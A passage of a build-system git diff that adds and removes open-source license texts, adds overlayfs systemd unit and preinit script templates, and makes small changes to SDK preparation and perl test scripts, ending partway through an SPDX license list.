+Permission to distribute the released version of the source code along with corresponding source modifications in the form of a patch file is granted with same provisions 2 through 4 for binary distributions.
+
+This software is provided "as is" without express or implied warranty to the extent permitted by applicable law.
diff --git a/meta/files/common-licenses/iMatix b/meta/files/common-licenses/iMatix
new file mode 100644
index 0000000000..7689d97b3b
--- /dev/null
+++ b/meta/files/common-licenses/iMatix
@@ -0,0 +1,39 @@
+The SFL License Agreement
+
+This license agreement covers your use of the iMatix STANDARD FUNCTION LIBRARY (SFL), its source code, documentation, and executable files, hereinafter referred to as "the Product".
+
+The Product is Copyright (c) 1991-2000 iMatix Corporation. You may use it and distribute it according to this following License Agreement. If you do not agree with these terms, please remove the Product from your system. By incorporating the Product in your work or distributing the Product to others you implicitly agree to these license terms.
+
+Statement Of Copyright
+
+The Product is, and remains, Copyright © 1991-2000 iMatix Corporation, with exception of specific copyrights as noted in the individual source files.
+
+Conditions Of Use
+
+You do not need to provide the source code for the Product as part of your product. However, you must do one of these things to comply with the Product License Agreement:
+
+ 1. Provide the source code for Product modules that you use, or
+ 2. Make your product freely available according to a license similar to the GNU General Public License, or the Perl Artistic License, or
+ 3. Add this phrase to the documentation for your product: "This product uses parts of the iMatix SFL, Copyright © 1991-2000 iMatix Corporation <http://www.imatix.com>".
+
+Rights Of Usage
+
+You may freely and at no cost use the Product in any project, commercial, academic, military, or private, so long as you respect the License Agreement. The License Agreement does not affect any software except the Product. In particular, any application that uses the Product does not itself fall under the License Agreement.
+
+You may modify any part of the Product, including sources and documentation, except this License Agreement, which you may not modify.
+
+You must clearly indicate any modifications at the start of each source file. The user of any modified Product code must know that the source file is not original.
+
+At your discretion, you may rewrite or reuse any part of the Product so that your derived code is not obviously part of the Product. This derived code does not fall under the Product License Agreement directly, but you must include a credit at the start of each source file indicating the original authorship and source of the code, and a statement of copyright as follows:"Parts copyright (c) 1991-2000 iMatix Corporation."
+
+Rights Of Distribution
+
+You may freely distribute the Product, or any subset of the Product, by any means. The License, in the form of the file called "LICENSE.TXT" must accompany any such distribution.
+
+You may charge a fee for distributing the Product, for providing a warranty on the Product, for making modifications to the Product, or for any other service provided in relation to the Product. You are not required to ask our permission for any of these activities.
+
+At no time will iMatix associate itself with any distribution of the Product except that supplied from the Internet site http://www.imatix.com.
+
+Disclaimer Of Warranty
+
+The Product is provided as free software, in the hope that it will be useful. It is provided "as-is", without warranty of any kind, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The entire risk as to the quality and performance of the Product is with you. Should the Product prove defective, the full cost of repair, servicing, or correction lies with you.
diff --git a/meta/files/common-licenses/libpng-2.0 b/meta/files/common-licenses/libpng-2.0
new file mode 100644
index 0000000000..1cc8b0deb3
--- /dev/null
+++ b/meta/files/common-licenses/libpng-2.0
@@ -0,0 +1,33 @@
+PNG Reference Library License version 2
+---------------------------------------
+
+ * Copyright (c) 1995-2018 The PNG Reference Library Authors.
+ * Copyright (c) 2018 Cosmin Truta.
+ * Copyright (c) 2000-2002, 2004, 2006-2018 Glenn Randers-Pehrson.
+ * Copyright (c) 1996-1997 Andreas Dilger.
+ * Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc.
+
+The software is supplied "as is", without warranty of any kind,
+express or implied, including, without limitation, the warranties
+of merchantability, fitness for a particular purpose, title, and
+non-infringement. In no even shall the Copyright owners, or
+anyone distributing the software, be liable for any damages or
+other liability, whether in contract, tort or otherwise, arising
+from, out of, or in connection with the software, or the use or
+other dealings in the software, even if advised of the possibility
+of such damage.
+
+Permission is hereby granted to use, copy, modify, and distribute
+this software, or portions hereof, for any purpose, without fee,
+subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you
+ must not claim that you wrote the original software. If you
+ use this software in a product, an acknowledgment in the product
+ documentation would be appreciated, but is not required.
+
+ 2. Altered source versions must be plainly marked as such, and must
+ not be misrepresented as being the original software.
+
+ 3. This Copyright notice may not be removed or altered from any
+ source or altered source distribution.
diff --git a/meta/files/common-licenses/libselinux-1.0 b/meta/files/common-licenses/libselinux-1.0
new file mode 100644
index 0000000000..d386268911
--- /dev/null
+++ b/meta/files/common-licenses/libselinux-1.0
@@ -0,0 +1,21 @@
+This library (libselinux) is public domain software, i.e. not copyrighted.
+
+Warranty Exclusion
+------------------
+You agree that this software is a
+non-commercially developed program that may contain "bugs" (as that
+term is used in the industry) and that it may not function as intended.
+The software is licensed "as is". NSA makes no, and hereby expressly
+disclaims all, warranties, express, implied, statutory, or otherwise
+with respect to the software, including noninfringement and the implied
+warranties of merchantability and fitness for a particular purpose.
+
+Limitation of Liability
+-----------------------
+In no event will NSA be liable for any damages, including loss of data,
+lost profits, cost of cover, or other special, incidental,
+consequential, direct or indirect damages arising from the software or
+the use thereof, however caused and on any theory of liability. This
+limitation will apply even if NSA has been advised of the possibility
+of such damage. You acknowledge that this is a reasonable allocation of
+risk.
diff --git a/meta/files/common-licenses/libtiff b/meta/files/common-licenses/libtiff
new file mode 100644
index 0000000000..b11996b671
--- /dev/null
+++ b/meta/files/common-licenses/libtiff
@@ -0,0 +1,8 @@
+Copyright (c) 1988-1997 Sam Leffler
+Copyright (c) 1991-1997 Silicon Graphics, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that (i) the above copyright notices and this permission notice appear in all copies of the software and related documentation, and (ii) the names of Sam Leffler and Silicon Graphics may not be used in any advertising or publicity relating to the software without the specific, prior written permission of Sam Leffler and Silicon Graphics.
+
+THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/mpich2 b/meta/files/common-licenses/mpich2
new file mode 100644
index 0000000000..5c32b0ec1d
--- /dev/null
+++ b/meta/files/common-licenses/mpich2
@@ -0,0 +1,18 @@
+COPYRIGHT
+
+The following is a notice of limited availability of the code, and disclaimer which must be included in the prologue of the code and in all source listings of the code.
+
+Copyright Notice
++ 2002 University of Chicago
+
+Permission is hereby granted to use, reproduce, prepare derivative works, and to redistribute to others. This software was authored by:
+
+Argonne National Laboratory Group W. Gropp: (630) 252-4318; FAX: (630) 252-5986; e-mail: gropp@mcs.anl.gov E. Lusk: (630) 252-7852; FAX: (630) 252-5986; e-mail: lusk@mcs.anl.gov Mathematics and Computer Science Division Argonne National Laboratory, Argonne IL 60439
+
+GOVERNMENT LICENSE
+
+Portions of this material resulted from work developed under a U.S. Government Contract and are subject to the following license: the Government is granted for itself and others acting on its behalf a paid-up, nonexclusive, irrevocable worldwide license in this computer software to reproduce, prepare derivative works, and perform publicly and display publicly.
+
+DISCLAIMER
+
+This computer code material was prepared, in part, as an account of work sponsored by an agency of the United States Government. Neither the United States, nor the University of Chicago, nor any of their employees, makes any warranty express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights.
diff --git a/meta/files/common-licenses/psfrag b/meta/files/common-licenses/psfrag
new file mode 100644
index 0000000000..c5c3a77737
--- /dev/null
+++ b/meta/files/common-licenses/psfrag
@@ -0,0 +1,5 @@
+psfrag.dtx
+Copyright (C) 1996 Craig Barratt, Michael C. Grant, and David Carlisle.
+All rights are reserved.
+
+This system is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Don't come complaining to us if you modify this file and it doesn't work! If this file is modified by anyone but the authors, those changes and their authors must be explicitly stated HERE.
diff --git a/meta/files/common-licenses/psutils b/meta/files/common-licenses/psutils
new file mode 100644
index 0000000000..a420741853
--- /dev/null
+++ b/meta/files/common-licenses/psutils
@@ -0,0 +1,29 @@
+PS Utilities Package
+
+The constituent files of this package listed below are copyright (C) 1991-1995 Angus J. C. Duggan.
+
+LICENSE Makefile.msc Makefile.nt Makefile.os2
+Makefile.unix README config.h descrip.mms
+epsffit.c epsffit.man extractres.man extractres.pl
+fixdlsrps.man fixdlsrps.pl fixfmps.man fixfmps.pl
+fixmacps.man fixmacps.pl fixpsditps.man fixpsditps.pl
+fixpspps.man fixpspps.pl fixscribeps.man fixscribeps.pl
+fixtpps.man fixtpps.pl fixwfwps.man fixwfwps.pl
+fixwpps.man fixwpps.pl fixwwps.man fixwwps.pl
+getafm getafm.man includeres.man includeres.pl
+maketext patchlev.h psbook.c psbook.man
+pserror.c pserror.h psmerge.man psmerge.pl
+psnup.c psnup.man psresize.c psresize.man
+psselect.c psselect.man psspec.c psspec.h
+pstops.c pstops.man psutil.c psutil.h
+showchar
+
+They may be copied and used for any purpose (including distribution as part of a for-profit product), provided:
+
+1) The original attribution of the programs is clearly displayed in the product and/or documentation, even if the programs are modified and/or renamed as part of the product.
+
+2) The original source code of the programs is provided free of charge (except for reasonable distribution costs). For a definition of reasonable distribution costs, see the Gnu General Public License or Larry Wall's Artistic License (provided with the Perl 4 kit). The GPL and Artistic License in NO WAY affect this license; they are merely used as examples of the spirit in which it is intended.
+
+3) These programs are provided "as-is". No warranty or guarantee of their fitness for any particular task is provided. Use of these programs is completely at your own risk.
+
+Basically, I don't mind how you use the programs so long as you acknowledge the author, and give people the originals if they want them.
diff --git a/meta/files/common-licenses/tcl b/meta/files/common-licenses/tcl
deleted file mode 100644
index d8049cd9e7..0000000000
--- a/meta/files/common-licenses/tcl
+++ /dev/null
@@ -1,40 +0,0 @@
-This software is copyrighted by the Regents of the University of
-California, Sun Microsystems, Inc., Scriptics Corporation, ActiveState
-Corporation and other parties. The following terms apply to all files
-associated with the software unless explicitly disclaimed in
-individual files.
-
-The authors hereby grant permission to use, copy, modify, distribute,
-and license this software and its documentation for any purpose, provided
-that existing copyright notices are retained in all copies and that this
-notice is included verbatim in any distributions. No written agreement,
-license, or royalty fee is required for any of the authorized uses.
-Modifications to this software may be copyrighted by their authors
-and need not follow the licensing terms described here, provided that
-the new terms are clearly indicated on the first page of each file where
-they apply.
-
-IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
-FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
-ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
-DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGE.
-
-THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
-INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
-IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
-NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
-MODIFICATIONS.
-
-GOVERNMENT USE: If you are acquiring this software on behalf of the
-U.S. government, the Government shall have only "Restricted Rights"
-in the software and related documentation as defined in the Federal
-Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you
-are acquiring the software on behalf of the Department of Defense, the
-software shall be classified as "Commercial Computer Software" and the
-Government shall have only "Restricted Rights" as defined in Clause
-252.227-7014 (b) (3) of DFARs. Notwithstanding the foregoing, the
-authors grant the U.S. Government and others acting in its behalf
-permission to use and distribute the software in accordance with the
-terms specified in this license.
diff --git a/meta/files/common-licenses/vim b/meta/files/common-licenses/vim
deleted file mode 100644
index 4aa818eb24..0000000000
--- a/meta/files/common-licenses/vim
+++ /dev/null
@@ -1,81 +0,0 @@
-VIM LICENSE
-
-I) There are no restrictions on distributing unmodified copies of Vim except
- that they must include this license text. You can also distribute
- unmodified parts of Vim, likewise unrestricted except that they must
- include this license text. You are also allowed to include executables
- that you made from the unmodified Vim sources, plus your own usage
- examples and Vim scripts.
-
-II) It is allowed to distribute a modified (or extended) version of Vim,
- including executables and/or source code, when the following four
- conditions are met:
- 1) This license text must be included unmodified.
- 2) The modified Vim must be distributed in one of the following five ways:
- a) If you make changes to Vim yourself, you must clearly describe in
- the distribution how to contact you. When the maintainer asks you
- (in any way) for a copy of the modified Vim you distributed, you
- must make your changes, including source code, available to the
- maintainer without fee. The maintainer reserves the right to
- include your changes in the official version of Vim. What the
- maintainer will do with your changes and under what license they
- will be distributed is negotiable. If there has been no negotiation
- then this license, or a later version, also applies to your changes.
- The current maintainer is Bram Moolenaar <Bram@vim.org>. If this
- changes it will be announced in appropriate places (most likely
- vim.sf.net, www.vim.org and/or comp.editors). When it is completely
- impossible to contact the maintainer, the obligation to send him
- your changes ceases. Once the maintainer has confirmed that he has
- received your changes they will not have to be sent again.
- b) If you have received a modified Vim that was distributed as
- mentioned under a) you are allowed to further distribute it
- unmodified, as mentioned at I). If you make additional changes the
- text under a) applies to those changes.
- c) Provide all the changes, including source code, with every copy of
- the modified Vim you distribute. This may be done in the form of a
- context diff. You can choose what license to use for new code you
- add. The changes and their license must not restrict others from
- making their own changes to the official version of Vim.
- d) When you have a modified Vim which includes changes as mentioned
- under c), you can distribute it without the source code for the
- changes if the following three conditions are met:
- - The license that applies to the changes permits you to distribute
- the changes to the Vim maintainer without fee or restriction, and
- permits the Vim maintainer to include the changes in the official
- version of Vim without fee or restriction.
- - You keep the changes for at least three years after last
- distributing the corresponding modified Vim. When the maintainer
- or someone who you distributed the modified Vim to asks you (in
- any way) for the changes within this period, you must make them
- available to him.
- - You clearly describe in the distribution how to contact you. This
- contact information must remain valid for at least three years
- after last distributing the corresponding modified Vim, or as long
- as possible.
- e) When the GNU General Public License (GPL) applies to the changes,
- you can distribute the modified Vim under the GNU GPL version 2 or
- any later version.
- 3) A message must be added, at least in the output of the ":version"
- command and in the intro screen, such that the user of the modified Vim
- is able to see that it was modified. When distributing as mentioned
- under 2)e) adding the message is only required for as far as this does
- not conflict with the license used for the changes.
- 4) The contact information as required under 2)a) and 2)d) must not be
- removed or changed, except that the person himself can make
- corrections.
-
-III) If you distribute a modified version of Vim, you are encouraged to use
- the Vim license for your changes and make them available to the
- maintainer, including the source code. The preferred way to do this is
- by e-mail or by uploading the files to a server and e-mailing the URL.
- If the number of changes is small (e.g., a modified Makefile) e-mailing a
- context diff will do. The e-mail address to be used is
- <maintainer@vim.org>
-
-IV) It is not allowed to remove this license from the distribution of the Vim
- sources, parts of it or from a modified version. You may use this
- license for previous Vim releases instead of the license that they came
- with, at your option.
-
-===
-Read more about this license at http://vimdoc.sourceforge.net/htmldoc/uganda.html#license
diff --git a/meta/files/common-licenses/xinetd b/meta/files/common-licenses/xinetd
new file mode 100644
index 0000000000..684e13ba35
--- /dev/null
+++ b/meta/files/common-licenses/xinetd
@@ -0,0 +1,25 @@
+ORIGINAL LICENSE: This software is
+
+(c) Copyright 1992 by Panagiotis Tsirigotis
+
+The author (Panagiotis Tsirigotis) grants permission to use, copy, and distribute this software and its documentation for any purpose and without fee, provided that the above copyright notice extant in files in this distribution is not removed from files included in any redistribution and that this copyright notice is also included in any redistribution.
+
+Modifications to this software may be distributed, either by distributing the modified software or by distributing patches to the original software, under the following additional terms:
+
+1. The version number will be modified as follows:
+ a. The first 3 components of the version number (i.e <number>.<number>.<number>) will remain unchanged.
+ b. A new component will be appended to the version number to indicate the modification level. The form of this component is up to the author of the modifications.
+
+2. The author of the modifications will include his/her name by appending it along with the new version number to this file and will be responsible for any wrong behavior of the modified software.
+
+The author makes no representations about the suitability of this software for any purpose. It is provided "as is" without any express or implied warranty.
+
+Modifications: Version: 2.1.8.7-current Copyright 1998-2001 by Rob Braun
+
+Sensor Addition Version: 2.1.8.9pre14a Copyright 2001 by Steve Grubb
+
+This is an exerpt from an email I recieved from the original author, allowing xinetd as maintained by me (Rob Braun), to use the higher version numbers:
+
+I appreciate your maintaining the version string guidelines as specified in the copyright. But I did not mean them to last as long as they did.
+
+So, if you want, you may use any 2.N.* (N >= 3) version string for future xinetd versions that you release. Note that I am excluding the 2.2.* line; using that would only create confusion. Naming the next release 2.3.0 would put to rest the confusion about 2.2.1 and 2.1.8.*.
diff --git a/meta/files/common-licenses/xpp b/meta/files/common-licenses/xpp
new file mode 100644
index 0000000000..c36660a729
--- /dev/null
+++ b/meta/files/common-licenses/xpp
@@ -0,0 +1,21 @@
+LICENSE FOR THE Extreme! Lab PullParser
+
+Copyright (c) 2002 The Trustees of Indiana University. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1) All redistributions of source code must retain the above copyright notice, the list of authors in the original source code, this list of conditions and the disclaimer listed in this license;
+
+2) All redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer listed in this license in the documentation and/or other materials provided with the distribution;
+
+3) Any documentation included with all redistributions must include the following acknowledgement:
+
+ "This product includes software developed by the Indiana University Extreme! Lab. For further information please visit http://www.extreme.indiana.edu/"
+
+Alternatively, this acknowledgment may appear in the software itself, and wherever such third-party acknowledgments normally appear.
+
+4) The name "Indiana Univeristy" and "Indiana Univeristy Extreme! Lab" shall not be used to endorse or promote products derived from this software without prior written permission from Indiana University. For written permission, please contact http://www.extreme.indiana.edu/.
+
+5) Products derived from this software may not use "Indiana Univeristy" name nor may "Indiana Univeristy" appear in their name, without prior written permission of the Indiana University. Indiana University provides no reassurances that the source code provided does not infringe the patent or any other intellectual property rights of any other entity. Indiana University disclaims any liability to any recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise.
+
+LICENSEE UNDERSTANDS THAT SOFTWARE IS PROVIDED "AS IS" FOR WHICH NO WARRANTIES AS TO CAPABILITIES OR ACCURACY ARE MADE. INDIANA UNIVERSITY GIVES NO WARRANTIES AND MAKES NO REPRESENTATION THAT SOFTWARE IS FREE OF INFRINGEMENT OF THIRD PARTY PATENT, COPYRIGHT, OR OTHER PROPRIETARY RIGHTS. INDIANA UNIVERSITY MAKES NO WARRANTIES THAT SOFTWARE IS FREE FROM "BUGS", "VIRUSES", "TROJAN HORSES", "TRAP DOORS", "WORMS", OR OTHER HARMFUL CODE. LICENSEE ASSUMES THE ENTIRE RISK AS TO THE PERFORMANCE OF SOFTWARE AND/OR ASSOCIATED MATERIALS, AND TO THE PERFORMANCE AND VALIDITY OF INFORMATION GENERATED USING SOFTWARE.
diff --git a/meta/files/common-licenses/zlib-acknowledgement b/meta/files/common-licenses/zlib-acknowledgement
new file mode 100644
index 0000000000..cf95431f24
--- /dev/null
+++ b/meta/files/common-licenses/zlib-acknowledgement
@@ -0,0 +1,15 @@
+Copyright (c) 2002-2007 Charlie Poole
+Copyright (c) 2002-2004 James W. Newkirk, Michael C. Two, Alexei A. Vorontsov
+Copyright (c) 2000-2002 Philip A. Craig
+
+This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment (see the following) in the product documentation is required.
+
+ Portions Copyright (c) 2002-2007 Charlie Poole or Copyright (c) 2002-2004 James W. Newkirk, Michael C. Two, Alexei A. Vorontsov or Copyright (c) 2000-2002 Philip A. Craig
+
+2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+3. This notice may not be removed or altered from any source distribution.
diff --git a/meta/files/ext-sdk-prepare.py b/meta/files/ext-sdk-prepare.py
index 163d5e9912..d191e5e19c 100644
--- a/meta/files/ext-sdk-prepare.py
+++ b/meta/files/ext-sdk-prepare.py
@@ -44,6 +44,23 @@ def main():
sdk_targets = []
else:
sdk_targets = ' '.join(sys.argv[2:]).split()
+
+ prserv = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'conf', 'prserv.inc')
+ if os.path.isfile(prserv):
+ with open(logfile, 'a') as logf:
+ logf.write('Importing PR data...\n')
+
+ ret = run_command_interruptible('bitbake-prserv-tool import %s' % prserv)
+
+ lastlog = get_last_consolelog()
+ if lastlog:
+ with open(lastlog, 'r') as f:
+ for line in f:
+ logf.write(line)
+ if ret:
+ print('ERROR: PR data import failed: error log written to %s' % logfile)
+ return ret
+
if not sdk_targets:
# Just do a parse so the cache is primed
ret = run_command_interruptible('bitbake -p --quiet')
diff --git a/meta/files/overlayfs-all-overlays.service.in b/meta/files/overlayfs-all-overlays.service.in
new file mode 100644
index 0000000000..74ee4e90ae
--- /dev/null
+++ b/meta/files/overlayfs-all-overlays.service.in
@@ -0,0 +1,12 @@
+[Unit]
+Description=Groups all overlays required by {PN} in one unit
+After={ALL_OVERLAYFS_UNITS}
+Requires={ALL_OVERLAYFS_UNITS}
+
+[Service]
+Type=oneshot
+ExecStart=/bin/true
+RemainAfterExit=true
+
+[Install]
+WantedBy=local-fs.target
diff --git a/meta/files/overlayfs-create-dirs.service.in b/meta/files/overlayfs-create-dirs.service.in
new file mode 100644
index 0000000000..17204145f2
--- /dev/null
+++ b/meta/files/overlayfs-create-dirs.service.in
@@ -0,0 +1,14 @@
+[Unit]
+Description=Overlayfs directories setup
+Requires={DATA_MOUNT_UNIT}
+After={DATA_MOUNT_UNIT}
+DefaultDependencies=no
+
+[Service]
+Type=oneshot
+ExecStart=mkdir -p {DATA_MOUNT_POINT}/workdir{LOWERDIR} && mkdir -p {DATA_MOUNT_POINT}/upper{LOWERDIR}
+RemainAfterExit=true
+StandardOutput=journal
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/files/overlayfs-etc-preinit.sh.in b/meta/files/overlayfs-etc-preinit.sh.in
new file mode 100644
index 0000000000..2ebb6c9224
--- /dev/null
+++ b/meta/files/overlayfs-etc-preinit.sh.in
@@ -0,0 +1,29 @@
+#!/bin/sh
+
+echo "PREINIT: Start"
+
+PATH=/sbin:/bin:/usr/sbin:/usr/bin
+mount -o remount,rw /
+
+mkdir -p /proc
+mkdir -p /sys
+mkdir -p /run
+mkdir -p /var/run
+
+mount -t proc proc /proc
+mount -t sysfs sysfs /sys
+
+[ -z "$CONSOLE" ] && CONSOLE="/dev/console"
+
+mkdir -p {OVERLAYFS_ETC_MOUNT_POINT}
+if mount -n -t {OVERLAYFS_ETC_FSTYPE} -o {OVERLAYFS_ETC_MOUNT_OPTIONS} {OVERLAYFS_ETC_DEVICE} {OVERLAYFS_ETC_MOUNT_POINT}
+then
+ mkdir -p {OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/upper
+ mkdir -p {OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/work
+ mount -n -t overlay -o upperdir={OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/upper,lowerdir=/etc,workdir={OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/work {OVERLAYFS_ETC_MOUNT_POINT}/overlay-etc/upper /etc || echo "PREINIT: Mounting etc-overlay failed!"
+else
+ echo "PREINIT: Mounting </data> failed!"
+fi
+
+echo "PREINIT: done; starting </sbin/init>"
+exec {SBIN_INIT_NAME}
diff --git a/meta/files/overlayfs-unit.mount.in b/meta/files/overlayfs-unit.mount.in
new file mode 100644
index 0000000000..1d33b7e39c
--- /dev/null
+++ b/meta/files/overlayfs-unit.mount.in
@@ -0,0 +1,13 @@
+[Unit]
+Description=Overlayfs mount unit
+Requires={CREATE_DIRS_SERVICE}
+After={CREATE_DIRS_SERVICE}
+
+[Mount]
+What=overlay
+Where={LOWERDIR}
+Type=overlay
+Options=lowerdir={LOWERDIR},upperdir={DATA_MOUNT_POINT}/upper{LOWERDIR},workdir={DATA_MOUNT_POINT}/workdir{LOWERDIR}
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/files/ptest-perl/run-ptest b/meta/files/ptest-perl/run-ptest
index c9f9ca94d0..fd35357b42 100644
--- a/meta/files/ptest-perl/run-ptest
+++ b/meta/files/ptest-perl/run-ptest
@@ -1,7 +1,7 @@
#!/bin/sh
for case in `find t -type f -name '*.t'`; do
- perl $case >$case.output 2>&1
+ perl -I . $case >$case.output 2>&1
ret=$?
cat $case.output
if [ $ret -ne 0 ]; then
diff --git a/meta/files/spdx-licenses.json b/meta/files/spdx-licenses.json
new file mode 100644
index 0000000000..ef926164ec
--- /dev/null
+++ b/meta/files/spdx-licenses.json
@@ -0,0 +1,5937 @@
+{
+ "licenseListVersion": "3.14",
+ "licenses": [
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0.json",
+ "referenceNumber": 0,
+ "name": "GNU General Public License v1.0 only",
+ "licenseId": "GPL-1.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/bzip2-1.0.6.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/bzip2-1.0.6.json",
+ "referenceNumber": 1,
+ "name": "bzip2 and libbzip2 License v1.0.6",
+ "licenseId": "bzip2-1.0.6",
+ "seeAlso": [
+ "https://sourceware.org/git/?p\u003dbzip2.git;a\u003dblob;f\u003dLICENSE;hb\u003dbzip2-1.0.6",
+ "http://bzip.org/1.0.5/bzip2-manual-1.0.5.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Intel-ACPI.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Intel-ACPI.json",
+ "referenceNumber": 2,
+ "name": "Intel ACPI Software License Agreement",
+ "licenseId": "Intel-ACPI",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Intel_ACPI_Software_License_Agreement"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/XSkat.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/XSkat.json",
+ "referenceNumber": 3,
+ "name": "XSkat License",
+ "licenseId": "XSkat",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/XSkat_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0.json",
+ "referenceNumber": 4,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.0 Generic",
+ "licenseId": "CC-BY-NC-SA-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Plexus.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Plexus.json",
+ "referenceNumber": 5,
+ "name": "Plexus Classworlds License",
+ "licenseId": "Plexus",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Plexus_Classworlds_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Giftware.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Giftware.json",
+ "referenceNumber": 6,
+ "name": "Giftware License",
+ "licenseId": "Giftware",
+ "seeAlso": [
+ "http://liballeg.org/license.html#allegro-4-the-giftware-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BitTorrent-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BitTorrent-1.0.json",
+ "referenceNumber": 7,
+ "name": "BitTorrent Open Source License v1.0",
+ "licenseId": "BitTorrent-1.0",
+ "seeAlso": [
+ "http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/licenses/BitTorrent?r1\u003d1.1\u0026r2\u003d1.1.1.1\u0026diff_format\u003ds"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.1.json",
+ "referenceNumber": 8,
+ "name": "Apple Public Source License 1.1",
+ "licenseId": "APSL-1.1",
+ "seeAlso": [
+ "http://www.opensource.apple.com/source/IOSerialFamily/IOSerialFamily-7/APPLE_LICENSE"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-GCC-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-GCC-exception.json",
+ "referenceNumber": 9,
+ "name": "GNU General Public License v2.0 w/GCC Runtime Library exception",
+ "licenseId": "GPL-2.0-with-GCC-exception",
+ "seeAlso": [
+ "https://gcc.gnu.org/git/?p\u003dgcc.git;a\u003dblob;f\u003dgcc/libgcc1.c;h\u003d762f5143fc6eed57b6797c82710f3538aa52b40b;hb\u003dcb143a3ce4fb417c68f5fa2691a1b1b1053dfba9#l10"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/UPL-1.0.html",
+ "isDeprecatedLicenseId": false,
